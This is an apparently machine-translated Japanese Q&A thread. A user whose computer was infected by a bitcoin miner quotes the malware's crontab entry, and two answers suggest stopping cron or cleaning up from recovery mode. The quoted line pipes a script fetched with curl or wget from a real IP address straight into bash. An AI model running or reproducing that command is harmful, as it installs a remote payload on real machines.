こんにちは、私のコンピュータはビットコインの採掘者に誘拐されました。彼は2秒ごとに実行されるクローンタスクを持っています。 crontab -eで削除すると、非常に高速に再生成されるため、機能しません。 nanoまたはviエディタを使用して編集することはできません。なぜなら、私が試すたびに両方のエディタを開くと、両方のエディタを殺すコードが実行されるからです。彼のクローンの仕事は次のとおりです。
*/30 * * * * (curl -s http://192.210.175.103/mr.sh||wget -q -O - http://192.210.175.103/mr.sh)|bash -sh
ジョブは/ tmpで実行されていますが、元のファイルは引き続き変更されます。この問題を解決する方法についてのアイデアはありますか？ありがとう
答え1
インターネット接続を切断してcronを停止できます。
sudo /etc/init.d/crond stop
次に、cronjobを編集します。
答え2
問題のスクリプトについて詳しく知らないと、この質問に正確に答えることは困難ですが、一般的なヒントはシステムをシングルユーザーモードまたはリカバリモードで再起動することです。これにより、ほとんどのデーモンが無効になり、トラブルシューティングのためのルートプロンプトが表示されます。
このウィキアイテムUbuntuからUbuntuのプロセスを説明します。あなたの質問によると、回復モードの最も魅力的な機能は、ファイルシステムを読み取り専用でマウントすることです。つまり、問題となるコードがどこにでも拡散または隠される前に検索できるという意味です。問題が見つかった場合は、読み書きモードで再インストールし、システムから問題を消去してください。